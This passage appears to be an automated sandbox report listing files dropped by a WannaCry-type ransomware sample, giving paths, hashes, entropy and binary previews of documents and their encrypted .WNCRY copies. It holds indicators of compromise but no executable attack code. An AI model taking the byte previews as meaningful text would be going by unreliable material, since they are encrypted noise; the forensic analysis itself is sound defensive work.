                                      Preview:WANACRY!....>.kX~_......SUL.2e..V..`.8.>..R....4Pg.M..b;...<.k...7....... .RW........{.r"...d. ...T..aat.....l9....(.2.3".........!.#...T...I.I..(...|rO2z..R.U3O.wJ...i.v......na<..........d..1.s....=c.s...5.e.4...GXkm.d.....N..!8..1U....4m..p..8.;2.......................1R.rZ.U.E......5.'......#_lO+C:..tI.)N.&(..[....(.....U5).L.I....YE...(...v.............^... ..zmH.tjL...p..~I.#|d.E*..."....pW.M=ln*.:.C.W.~...3...Y......P.Z.XM..<....:.q)b*...`}WG%&..eu)r...p.y.L.T.#:.k.)h....=J>@].K.,';b...4..Q........]..Q......jwY.&..r.!..rOn...1.k7..@...Q...Z...a..*...E..J..Wp.FYv.....r......,.%.i^..>...K........9fA.H..y..|.w..S..C.y.............P..z..kI0|K.a=.V..bK:.Im.w/.U<..`K.q...Q....}..">....P.oJ....O,..../....|..,...K..;`%.....AA!3..'.A.NsV...DN.L .N...MB......g.F...x4.w;...L.....U..5..3..._C>P.....7.5,~...]G.Sgx.=.-B...y...<....Xl\..7.(%]H/|j6....+3G..x.f.$...^q>.U6..R.......(Xk...l.,c...$(..l.4..A.a6.*...U.+..P..}.;^.]BL...F.?h....3E).......7.

                                      C:\Users\user\Documents\GRXZDKKVDB.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.840947787540089
                                      Encrypted:false
                                      SSDEEP:24:bkN6pEQXkghaC19HDibpj+byy7oJGqoqxNFA26lwv2VvWVvt:bkN6LWC19Hmbpj+yLvRuVult
                                      MD5:A601556FD8AFF91EF2B6CF3FE0F58571
                                      SHA1:343490860CBAE5CDA77840D29002A54E1177EDDA
                                      SHA-256:16C7E249A84260DD56B9F1392E915CFEA1E78324DFE36D6D5B26C46E2B075B96
                                      SHA-512:AF905823A4ECE6FFA83F291739FF6912FBFF429634F5FEBB8EC4A04272434162E403959FF864D96410FE384DA6B86E607AFE348FA6F38B8D1EF29A2CADE86E70
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....>.kX~_......SUL.2e..V..`.8.>..R....4Pg.M..b;...<.k...7....... .RW........{.r"...d. ...T..aat.....l9....(.2.3".........!.#...T...I.I..(...|rO2z..R.U3O.wJ...i.v......na<..........d..1.s....=c.s...5.e.4...GXkm.d.....N..!8..1U....4m..p..8.;2.......................1R.rZ.U.E......5.'......#_lO+C:..tI.)N.&(..[....(.....U5).L.I....YE...(...v.............^... ..zmH.tjL...p..~I.#|d.E*..."....pW.M=ln*.:.C.W.~...3...Y......P.Z.XM..<....:.q)b*...`}WG%&..eu)r...p.y.L.T.#:.k.)h....=J>@].K.,';b...4..Q........]..Q......jwY.&..r.!..rOn...1.k7..@...Q...Z...a..*...E..J..Wp.FYv.....r......,.%.i^..>...K........9fA.H..y..|.w..S..C.y.............P..z..kI0|K.a=.V..bK:.Im.w/.U<..`K.q...Q....}..">....P.oJ....O,..../....|..,...K..;`%.....AA!3..'.A.NsV...DN.L .N...MB......g.F...x4.w;...L.....U..5..3..._C>P.....7.5,~...]G.Sgx.=.-B...y...<....Xl\..7.(%]H/|j6....+3G..x.f.$...^q>.U6..R.......(Xk...l.,c...$(..l.4..A.a6.*...U.+..P..}.;^.]BL...F.?h....3E).......7.

                                      C:\Users\user\Documents\IPKGELNTQY.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.828086888285957
                                      Encrypted:false
                                      SSDEEP:24:A1lVbhebLgT31jHbyE8Q6di1nZp87BDbWMrxMV4AJ30k:AXebLgrhybQ4GnZp811lop
                                      MD5:59E764FB70120E74F35984013616FE1E
                                      SHA1:A6AB45EB8C51924B8F226E56D0E0647580652318
                                      SHA-256:E83CCBB0B859BB8632E8F43F9518BED24760188284E6CF126B30BCB3F2457697
                                      SHA-512:F1931323550B3F027221934493269B367ACA636B04ED4BEC3505E1C6D21C994229FA29E335DF142AE28A662A13EB4CA2FA708FD96C33EFBBA67EB30E3E91F840
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:8}5....!v..<.f..k..T..H.ZP.W~.=..!....O.>H\.~ .Bo...eF+.y....D,........K.....2..t.....X.|k.....9.......R..>&...M9.j/.r.'|ma2...+.,.g..?.J.bV'.$f.g..Or..X....&...e0j....p..JGHAi...`....,..ec[.y..".....!.......sJ.;...{.t....$..>....~z..../.[`\Y}..(}.A.......g...+V..KRm.6v...a.c*U.J^)....6HOT*..j|u...^..."D...f..)...6J..3.@y.&o..o......c...$....8.q7ik..l..i.V..p..........to..C(........(.1E\ ..!-!.;.*..(...;.g5.!..."r.V..=.{k~.P...].P.;..yftH.=9.....A/9.....J..H...0.Z2...PR.....X...7n.3...H8.4.-.e..>...A..1u..Q:.;P......zG....Ff..F.....4.s|?.&...Z.E..Z...h...b..['......M4o..&R+.8M...).-~.p....QP...;5>.....)NXD.2.CB.s...Gc.?..Z.@..1....8.....V..N}.[u....U..2.,?5A..>...1.....,......!.....c...S.{+..'.=$Wv....d...9.I4..@i.....d2^....BY........ds..SZt..\..@..#k....I=]..n..UK...G.....f7I...xR..r.K.)..\.q_~..[3..v..c....`.......x+.W..p...2.X. -4......1..1...q.L.@.!...............u.+...W.[,.s3.....*..~/.....F.^.=.O;.g....P..wDl.....d..E......!..w

                                      C:\Users\user\Documents\IPKGELNTQY.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.828686513620651
                                      Encrypted:false
                                      SSDEEP:24:bkzO5e9gZOFGzekLt2ooCtIuEGHv3tuTR2PIBd4AduRf4wbvwu9+rjX03dvz82:bkicGzeE5BtIuEGHvdDvf4wkyajXCR
                                      MD5:1A033A1203F98ED36AE5492EECCE7D3D
                                      SHA1:C16EF124728A7C1F85A1DB9FAF7B518A8217D9C6
                                      SHA-256:03ABD122AB91D7E460B40EB154F616B43FF1783DC273AF76C1F996C5F21CC628
                                      SHA-512:C782F58255B93023A920BB52D4483EFC24A52D59E3574FBC0EE2212A962D55FF7BFF8CBD123BD494AF261F85246454D80B3A8A7CA460CD38EDAED54BDD54D317
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....1.t.Y\.2....!"..gt...... .=J.....t*..f._%*4.`.|.......BH.)..OA9..J./(.}...m.......~M?}9.i..N....e.B(..gE.V...t..VH...YzPk~3y.s..A.S...jjy.>7u....:M..?.$l..KU%/Y...M..|..!e..Q.6.7.MF.|....M6.E,Z..zF....D~.E...d..a.....Y.\._......NB}.%.<'...+.0rk.,...f...............3...r...Ad...z.J;os...5.Kmtb.[..C.^.E5\!,d..l.].1vM.ZV.3.e#..u......5....J5GK"2F...U._a..._r......\.7.f.<............)...)v.O$..Vp...v.~..:.*i.....{Qb.I..v...............jjN..N....K{...j.}.Z.....:vf...........l".....7...v...S.a]l>L.L..pZ.1..&aIo"K^.K....a.s.b.B.Q.I...$....e.N{.iZ.......U.tp...^.H.<.`b.:....c}xA.Y...y........'.....(..|Q.nT......"..x..~.C..).. .m.d.u.._u.p.,}.......?09..n........Y.p.\MP.wQ...|i......4S.~.#,z...bz.q[]...|.NxoaF.....U..]...OB..q..g.CB.^.+}.E.58?.&.d.c.....*2....yD..W...3....j.<F..b..).RG..*.rX..J...Q@..)......B..~.XG...t."%6....&3KY....]....z................#.lt....Cw.....^..::.F.F...Q..r .l.U>.)...l..._.M..yq.>@#...+#Bh.sdF.h..)z.N"..u.

                                      C:\Users\user\Documents\IPKGELNTQY.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.828686513620651
                                      Encrypted:false
                                      SSDEEP:24:bkzO5e9gZOFGzekLt2ooCtIuEGHv3tuTR2PIBd4AduRf4wbvwu9+rjX03dvz82:bkicGzeE5BtIuEGHvdDvf4wkyajXCR
                                      MD5:1A033A1203F98ED36AE5492EECCE7D3D
                                      SHA1:C16EF124728A7C1F85A1DB9FAF7B518A8217D9C6
                                      SHA-256:03ABD122AB91D7E460B40EB154F616B43FF1783DC273AF76C1F996C5F21CC628
                                      SHA-512:C782F58255B93023A920BB52D4483EFC24A52D59E3574FBC0EE2212A962D55FF7BFF8CBD123BD494AF261F85246454D80B3A8A7CA460CD38EDAED54BDD54D317
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....1.t.Y\.2....!"..gt...... .=J.....t*..f._%*4.`.|.......BH.)..OA9..J./(.}...m.......~M?}9.i..N....e.B(..gE.V...t..VH...YzPk~3y.s..A.S...jjy.>7u....:M..?.$l..KU%/Y...M..|..!e..Q.6.7.MF.|....M6.E,Z..zF....D~.E...d..a.....Y.\._......NB}.%.<'...+.0rk.,...f...............3...r...Ad...z.J;os...5.Kmtb.[..C.^.E5\!,d..l.].1vM.ZV.3.e#..u......5....J5GK"2F...U._a..._r......\.7.f.<............)...)v.O$..Vp...v.~..:.*i.....{Qb.I..v...............jjN..N....K{...j.}.Z.....:vf...........l".....7...v...S.a]l>L.L..pZ.1..&aIo"K^.K....a.s.b.B.Q.I...$....e.N{.iZ.......U.tp...^.H.<.`b.:....c}xA.Y...y........'.....(..|Q.nT......"..x..~.C..).. .m.d.u.._u.p.,}.......?09..n........Y.p.\MP.wQ...|i......4S.~.#,z...bz.q[]...|.NxoaF.....U..]...OB..q..g.CB.^.+}.E.58?.&.d.c.....*2....yD..W...3....j.<F..b..).RG..*.rX..J...Q@..)......B..~.XG...t."%6....&3KY....]....z................#.lt....Cw.....^..::.F.F...Q..r .l.U>.)...l..._.M..yq.>@#...+#Bh.sdF.h..)z.N"..u.

                                      C:\Users\user\Documents\NEBFQQYWPS.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.814651835459016
                                      Encrypted:false
                                      SSDEEP:24:SiBEabJftFIPD6g1r3Mbf21th0qfo1X2Uk74FWWG9KiS:SirkD6gVMD21wRF3Ge
                                      MD5:1CBEF9703C8531B1EAC9532D74EC71B5
                                      SHA1:D2DA41535357C3E0328726D7D859C291AB520121
                                      SHA-256:72BEAC613D874F74A13891DC1BBEC7382ADA50F9153C4EF2B6088D9D3CCF5148
                                      SHA-512:47BF06D93E88D03C917D97AE358A882E6812913F66FAD91C052AEA7FE8C53C58FE40E9E34EB63CEC7E78ADCE2358CBB3459E476D4628A2DEE3E3993FB808121A
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.9.L..E. .....I..&....n1y.........W4.&.T.KS..g..... EP8.~..T:.-x..]K#RWv<b.y.T..FP..H#.....E.N..[...?....f.#.....m.........-.Z4!.@I....T..).};~E.........t@.{.f.`.......+...i..&.....UT......L........4..v...'........:b...6.^..Z..a.y)r...n.e.W...#......c.n...P.*.r.@[..4A...s..D.n]t<....s.........,W...5.s...c.}.&.......C.s.u.f../;.^.k....n+.[....#_.c..Q.......a.9"...&._X.a.)......r.....4)i..So$l.T..H...2u...*.'Z)i[.)#......).d5......Kh....RjE.....q.Sq H..w,.._TF.U......r.oF.A.`...3..N..n..&.V.lC..`.]..S.e....%..........l.5..[..p....G(.....n.\II.#.^.45...>....{...1..s.f... \bE...x.C].....uO.#........U..X......@&t..d..A..fe..Z...F.V..$$.Y.?v~..smP6I_..*.4Q4sN.e..Y....._9.....EJ..sGdzc.y...c....~q.$...L.A..o5.kD..MXq.x...f4. .....$Hkj.....m.._T}.H...Qb.J[.+....Qa...JN...G..n9....B....1*..f...Kl.?.....E..U.$K..:t(.....7...d........o6...N3.u..3...[.x4...vwP..7.V:..M.u..|....2.=>g..Vd....i.O.l.9.y...L....K.D...d3.~..f....A..).........}.(..."....X$

                                      C:\Users\user\Documents\NEBFQQYWPS.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842811764752157
                                      Encrypted:false
                                      SSDEEP:24:bkieJBJOTg1EQvhldiinR3yFu6YcttKotZDFZtY5Nr2IJRHEjlz4D/9uKgqv:bkiekv6rNnUw+sQZt+r2IUjfqv
                                      MD5:FF4FD7EA390F116D98F173437D4580E2
                                      SHA1:AC72A88E95211B0950E055CB964050616D158D53
                                      SHA-256:6FB4F53AD3D7DFA5A4DA3C081502709E2E85B6239EE0BF0591C121867B7C09BB
                                      SHA-512:05865D79E2BA4AFD53FD252F4D137FB636F002FBADAEA77895358F4AE5E84928CA062E96E87C47050D256BD05DD341FE923E1B805F861F178806308E5E628B87
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O:8.IOe.:...4..m.V.iJ6...l.....*...6e........f.n..h.......;Bj(..L.Z.......W<.Dh.#....j%.,......I{...6e.....<E!..z....Md.9}z.9.n;hv.*[[..[.g.G...D.k.UDk.?Q...|.&...uT.x....:D.S'...P@.?.3H........Lw..#.....`.V. $f..%..=.d`.@P2.....0q../.Ke\d./.p............^z)I/....')....9.p..7P.B}.{9)...P".g........l...}HG.Oz#-...U.`...C.a.....YG...,.?e.^y..~e@..;.o..c..L1..Wu.7..$.j.e.y.0@`?.yZ.&..s..I'...0}.]..[V.....bx.nW.....*.uo../..<\.A=.lU.VE..H.6.2{~8....D.h........z.B..R.@....%....^.!....JL...z.......B..x.0.$%...z...SL...."..]...zq.U.A......?.....N....v...<O..u-.~....n<R.F..$....K6.....(.I../|c.2....D....g...f..\.M3.|O1.o.C.*g.../.FG.V..11..1z<-..|t.#....~|...&soC.uVm..N....u.!..-].?..e...%......@m..!2....}~.T.R....Y;w..CN..U......>.3%..rp.j....y.^..'.>O[.\..].[....O......r.W.SLN..W..........-...H9.a..dd'..A..05..2...:T.].p.$Y;r.4..:Z..7K.:...Q.1....*..T.X...t.......Og..4.i..a.p=.Zk..@..r|b...."W.g[.0>...A...^....4.@...i...H;o.m&..u~..

                                      C:\Users\user\Documents\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.842811764752157
                                      Encrypted:false
                                      SSDEEP:24:bkieJBJOTg1EQvhldiinR3yFu6YcttKotZDFZtY5Nr2IJRHEjlz4D/9uKgqv:bkiekv6rNnUw+sQZt+r2IUjfqv
                                      MD5:FF4FD7EA390F116D98F173437D4580E2
                                      SHA1:AC72A88E95211B0950E055CB964050616D158D53
                                      SHA-256:6FB4F53AD3D7DFA5A4DA3C081502709E2E85B6239EE0BF0591C121867B7C09BB
                                      SHA-512:05865D79E2BA4AFD53FD252F4D137FB636F002FBADAEA77895358F4AE5E84928CA062E96E87C47050D256BD05DD341FE923E1B805F861F178806308E5E628B87
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.....O:8.IOe.:...4..m.V.iJ6...l.....*...6e........f.n..h.......;Bj(..L.Z.......W<.Dh.#....j%.,......I{...6e.....<E!..z....Md.9}z.9.n;hv.*[[..[.g.G...D.k.UDk.?Q...|.&...uT.x....:D.S'...P@.?.3H........Lw..#.....`.V. $f..%..=.d`.@P2.....0q../.Ke\d./.p............^z)I/....')....9.p..7P.B}.{9)...P".g........l...}HG.Oz#-...U.`...C.a.....YG...,.?e.^y..~e@..;.o..c..L1..Wu.7..$.j.e.y.0@`?.yZ.&..s..I'...0}.]..[V.....bx.nW.....*.uo../..<\.A=.lU.VE..H.6.2{~8....D.h........z.B..R.@....%....^.!....JL...z.......B..x.0.$%...z...SL...."..]...zq.U.A......?.....N....v...<O..u-.~....n<R.F..$....K6.....(.I../|c.2....D....g...f..\.M3.|O1.o.C.*g.../.FG.V..11..1z<-..|t.#....~|...&soC.uVm..N....u.!..-].?..e...%......@m..!2....}~.T.R....Y;w..CN..U......>.3%..rp.j....y.^..'.>O[.\..].[....O......r.W.SLN..W..........-...H9.a..dd'..A..05..2...:T.].p.$Y;r.4..:Z..7K.:...Q.1....*..T.X...t.......Og..4.i..a.p=.Zk..@..r|b...."W.g[.0>...A...^....4.@...i...H;o.m&..u~..

                                      C:\Users\user\Documents\PIVFAGEAAV.mp3

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.8149986808310805
                                      Encrypted:false
                                      SSDEEP:24:2VxfZGHl2fabRNlpPnqug6CoOoE3g8Tpa7:2zcHUfabRHpPJgBoOoEwZ7
                                      MD5:5C5F465F066B58B862B2E54AFDC1E40E
                                      SHA1:B612668CF1EB897EFC81FC2EA20F756A25E2DFE3
                                      SHA-256:6FCDE18BC531991E7DBB1F00AAA2FA44A104AB0C58F16DF9CE2323E558C42FEF
                                      SHA-512:6ECA7AAB673AF5B649F2499FD5DF16F440C2F2305322102F411FFEEC365B070BD65B3209FE48F9B3E853D9A010E5866E2BA3A548294CB74C7614ED12D8470292
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:...Q&].../s.R.R.C2%2G......P.....x*;....d.H>.dN.q...+.v..D[..X@.....(.v}I.!W-C. y...T.1.\.....%1.^.i.X-Y.. L..8n..J<...Gb..'...`C.....&.&7.|.3..n...Z...P.....Y..$1.h..2.a.....}.....IW.]q.8......~....D.,/..T..:H..,..d.p...7.b....c. ...`.j.a.K.t.i)....Y|...v87......7...{...6.jB.._...'w.h...E..~(.r.|.7(...B.....=..p#.`3.....p.eN.8.${hWX}x..`X<.+......m....=..A..J~..3..z.,EXi..\.g>c.....}...x.*#....-.yd...K...7...x..b...5......V...Zz5.......EQ........~@.c..N..8.u.....Q.a[...p.....<NRE....KA.J5M=UPasX...e\Y...Po...}..[<...-...}A.x.&.u.`D8j............S.#.Ngc.e...d_.^9E.'..V...A...,....'.....!..u...uzWjO.d.@.Z.T.m.mf.c.F..-M.pg}~..G.v..zL.x.h..S.h`p..czC..xzu.=0.m.../......... .......s).4........c...h.:Z...AB.:....v.\...B.9e#../...T'..9E.vV.....W.0..KR...M..E.8../......@....."j......s.x.O}.h2 ?.{.X..L...:......J.9b.I....f...1.j..`>..\t...L41.$.$;&..7.....FZ.^\...U.<....{..tED7.f.znaT...>. .K.S........6..+_Jg.N@.....V...U.m...(..%+.H.n........[..Q~...

                                      C:\Users\user\Documents\PIVFAGEAAV.mp3.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843579496983507
                                      Encrypted:false
                                      SSDEEP:24:bkfe62jd9TvlV8j15lF8+mhqdr+nKe9WiL0A2VP0fUddFQXrQiWdCbiT:bkfiGr8RoNCKviL0A2VP0fUhQXrjpbiT
                                      MD5:C4F4E82D878799B555BF39709CF0EE59
                                      SHA1:551FC8A9F665BD291F048D9501D0EA118E87DBF0
                                      SHA-256:6F43C4053E0E7489E8C313166EB71F4F7D11DA163FAD4C1622A29B22180F672A
                                      SHA-512:2A460A0A798EBCAA00845045D735F031E7B89A489B9412F343B5EECED1B474E8FF4164B4632728F52261CB7EA69DDA2BFCB075BC2490027C9FD104F0B0B98661
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....-..M.^>....'..<..(q..3....<.....Kw.......r.X...b..3S...y...X...d...'ar..<>SD.&...c...}A^>.o/.}Tr.^5.#?....^...z....l.3b..+....~(..bH'..p..&...7.,.|...t.?0)...p.,........\.O.:.7.....r4.6\..:^...../G.z.^...&b.0%. oX.`T|S....IO..U...9.n..|.................oFEQ...h....,mxr..%.n.B......'ftr.z/M...m..W.F..J*.:%....g.J........}.....}.....Q.....TO.e...X.'.....I.Z._..1 ..e...nt]....&...o.D..|.$.|f\^~v.y[.d.O.Bg.Y.R0:o..0.p..}ih...../../.\.@.._r5.c......[...N...?.mf-;..N..smV.R..1..n<.9`[..-...3...f.R....M|F....6.&'/k....C..A...,.e.S.... ^W!.G..<*.".8..zs.Ai....9.n...*T.....A)s.#h.;b"..$ ...&.P.K.....V.T.......1>....P.4...N..6.f....c....H~...EJ..n(k2-.M..N.....=..E....... V%.......k..,....^.....d.xo.'..x.-".d....k...........?d.F.L..#.]T3..to?a.v.!.B.h.>..fM..}......b...1..$t..ie.^V.;{!.y]Ps......r$...PZ.v$.....D.h.|F.....U.Q[6.s.....XMs.......w......P..knnK&&..K..?..I...Z.<.. .I.S.......@1H.,&$V.w...3.[.)...^u.z.E.}../...

                                      C:\Users\user\Documents\PIVFAGEAAV.mp3.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.843579496983507
                                      Encrypted:false
                                      SSDEEP:24:bkfe62jd9TvlV8j15lF8+mhqdr+nKe9WiL0A2VP0fUddFQXrQiWdCbiT:bkfiGr8RoNCKviL0A2VP0fUhQXrjpbiT
                                      MD5:C4F4E82D878799B555BF39709CF0EE59
                                      SHA1:551FC8A9F665BD291F048D9501D0EA118E87DBF0
                                      SHA-256:6F43C4053E0E7489E8C313166EB71F4F7D11DA163FAD4C1622A29B22180F672A
                                      SHA-512:2A460A0A798EBCAA00845045D735F031E7B89A489B9412F343B5EECED1B474E8FF4164B4632728F52261CB7EA69DDA2BFCB075BC2490027C9FD104F0B0B98661
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....-..M.^>....'..<..(q..3....<.....Kw.......r.X...b..3S...y...X...d...'ar..<>SD.&...c...}A^>.o/.}Tr.^5.#?....^...z....l.3b..+....~(..bH'..p..&...7.,.|...t.?0)...p.,........\.O.:.7.....r4.6\..:^...../G.z.^...&b.0%. oX.`T|S....IO..U...9.n..|.................oFEQ...h....,mxr..%.n.B......'ftr.z/M...m..W.F..J*.:%....g.J........}.....}.....Q.....TO.e...X.'.....I.Z._..1 ..e...nt]....&...o.D..|.$.|f\^~v.y[.d.O.Bg.Y.R0:o..0.p..}ih...../../.\.@.._r5.c......[...N...?.mf-;..N..smV.R..1..n<.9`[..-...3...f.R....M|F....6.&'/k....C..A...,.e.S.... ^W!.G..<*.".8..zs.Ai....9.n...*T.....A)s.#h.;b"..$ ...&.P.K.....V.T.......1>....P.4...N..6.f....c....H~...EJ..n(k2-.M..N.....=..E....... V%.......k..,....^.....d.xo.'..x.-".d....k...........?d.F.L..#.]T3..to?a.v.!.B.h.>..fM..}......b...1..$t..ie.^V.;{!.y]Ps......r$...PZ.v$.....D.h.|F.....U.Q[6.s.....XMs.......w......P..knnK&&..K..?..I...Z.<.. .I.S.......@1H.,&$V.w...3.[.)...^u.z.E.}../...

                                      C:\Users\user\Documents\PWCCAWLGRE.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.803497136443095
                                      Encrypted:false
                                      SSDEEP:24:jr0YZHj/iaOMeZ817yDUOwkndhJ+m7rb8FCBCTWp:jrhDOMe8XhknPUmkxWp
                                      MD5:55BC70A5B88DB1A7F8424BB2AF4B4CD3
                                      SHA1:94AF08D8691769F97B12091B701513DB7BB65668
                                      SHA-256:AFF7C1D6FDB62DF07CE0680A168C90495CE71394A97508C98E90E6466124DFDB
                                      SHA-512:1C7BC6861B4F0C5B1236ADFDF4EF74BB978196489890C111B0BFF166034F5389DBC938E66C95DD160CC32B463A5C4F9946D9E1910DD6A7EAB31593542944E004
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.#....U....q..............$^/..-..........)H4....h_..8..Q...w......JlF..pY7..=..x.o.Zgn.#.N..;Wsx.......J...]4]..M.m..dg.W......[V.._.'.I5P..1.9o.x.)...Px.4^..r.....p..x.....V .._."L.q.-t"y....,..t..0_.f...(.DN..=I....t....._.<..t.w+....."P...^g..l.......$v4.<..~I..#wIcqlo.Ks.0..&.B^..$W.V..w.z!..:..%[....K...fvF=%..0....z.A.(P..v..M7'h..b.5..1..q..+,]...o. .1<.I.,_k.....lz.#...kTs.A........58.V.....d.....P.`^^i.j...j..\..>..._H@..Ii6.q.^.uG...^^.Y...|...4.!H.~..R......mmF.\.m......`.t..j...ET..y4...z.`.)..\...9..9C:.>TSN<...A@f.Gq.@x'...b......<....Pg.k~...w,G....[J.....{.{m.....n...@f$...w..Z.>.e.eB=P. .S..Xq...8.M,@.{.0.S........nH.S.7-g%..}..B.....2.V$....T....$.{e.I ..N~..W...5.C):.../_SZ}_...3/../.J..K..g.3>..O6.J$\....L...>.k.V 9..,..j.....^.....v.6i.q..-..Es;..........HP...i.z.....F....G:sikDk.;.wZ~t)A....3.;.4Y..&p~Q..sF......)Ok.%.ICu.J..6<.VC.[...@B.U(!...Je.lI.S.v2}....6.I.5.*..dhD.t4.A..6%.A.....}..v.-[.{\.,ei.EK..,..2.

                                      C:\Users\user\Documents\PWCCAWLGRE.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849322568861912
                                      Encrypted:false
                                      SSDEEP:24:bkm5BoGDrZWYeVjkc12mUX82wkvKmgghQaiPXvJ3HLmeG/BlqJKXZ2LMGPEvBat4:bk04jky2mO82xvZRy/h3rBqtvBUF3MZ
                                      MD5:D7B288ECCC917E6272E8255410062DA1
                                      SHA1:977B717A07200966B5CEC66E9071EFEA246DBAF1
                                      SHA-256:A9D80B9CE05940E3E1C096EB1A004E1DD38FCE3C1B16EB5079D8B25D41737613
                                      SHA-512:5456C936668DCBF78642B23F6F1E2C82A475B16BBDE9167AD916FDBECD799A05668F378B1CA30991E19E6EA3DF2C6866359EA48B81AED21437043EC816957594
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....f)...2.p.N<....N......[......HKz...v..Cw....V#..Af..]|..(.........Kt...2K4..5..w!U....(.o.a...:\..g..M.G..E....../$.5.....IR...}.%B..^.t..5.fu...yL......f.....B.k.o.[....w..4E......*Q...Yr..?b#.W...2/.c..".%.0.[o...+f.....RV`..+..K.2..N.................0|..^.....]D.RL^...C..5..7T.\.J...u3$....s.p..,7.....TT...<....^.1O....?.Y.d......U...(.(K.S..$......q.O.*......#...X.R.,K.*..y.x.......4fP..R$.~U0&.....p.......3...K...~<..=..W.'.KK~.;..u..L.....*....A..4.[..<M..4.".....:eZ.P.q..4..<d..d.*.Q_a...c."............ ...D...h.2..|.o...zh......x.,...<CZ...P 4..3.............B.%...J6?tUN...{z}Oy...b.F&.\....%>N..?..LI.D*y..-|..!.._P.R.zn..r.Z5.-W..h........O....F..?..X."\..L.P..c..~*..:.....*..b%.!alZn..?.{.......%L.....>;KB..].{.h.. .$....0).........]..lX.....qeL..D.^....d|!..wWx.E.=..I.7..aY"1.S.cA.3U2..s.=..d..cA..........~.$:...L.Q{.R.....<.Vk...;.+X....Y...../..S....?=S...y....u].@R.......#.]([.?.... .d....I0mG.uFQ.<@'x...

                                      C:\Users\user\Documents\PWCCAWLGRE.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.849322568861912
                                      Encrypted:false
                                      SSDEEP:24:bkm5BoGDrZWYeVjkc12mUX82wkvKmgghQaiPXvJ3HLmeG/BlqJKXZ2LMGPEvBat4:bk04jky2mO82xvZRy/h3rBqtvBUF3MZ
                                      MD5:D7B288ECCC917E6272E8255410062DA1
                                      SHA1:977B717A07200966B5CEC66E9071EFEA246DBAF1
                                      SHA-256:A9D80B9CE05940E3E1C096EB1A004E1DD38FCE3C1B16EB5079D8B25D41737613
                                      SHA-512:5456C936668DCBF78642B23F6F1E2C82A475B16BBDE9167AD916FDBECD799A05668F378B1CA30991E19E6EA3DF2C6866359EA48B81AED21437043EC816957594
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....f)...2.p.N<....N......[......HKz...v..Cw....V#..Af..]|..(.........Kt...2K4..5..w!U....(.o.a...:\..g..M.G..E....../$.5.....IR...}.%B..^.t..5.fu...yL......f.....B.k.o.[....w..4E......*Q...Yr..?b#.W...2/.c..".%.0.[o...+f.....RV`..+..K.2..N.................0|..^.....]D.RL^...C..5..7T.\.J...u3$....s.p..,7.....TT...<....^.1O....?.Y.d......U...(.(K.S..$......q.O.*......#...X.R.,K.*..y.x.......4fP..R$.~U0&.....p.......3...K...~<..=..W.'.KK~.;..u..L.....*....A..4.[..<M..4.".....:eZ.P.q..4..<d..d.*.Q_a...c."............ ...D...h.2..|.o...zh......x.,...<CZ...P 4..3.............B.%...J6?tUN...{z}Oy...b.F&.\....%>N..?..LI.D*y..-|..!.._P.R.zn..r.Z5.-W..h........O....F..?..X."\..L.P..c..~*..:.....*..b%.!alZn..?.{.......%L.....>;KB..].{.h.. .$....0).........]..lX.....qeL..D.^....d|!..wWx.E.=..I.7..aY"1.S.cA.3U2..s.=..d..cA..........~.$:...L.Q{.R.....<.Vk...;.+X....Y...../..S....?=S...y....u].@R.......#.]([.?.... .d....I0mG.uFQ.<@'x...

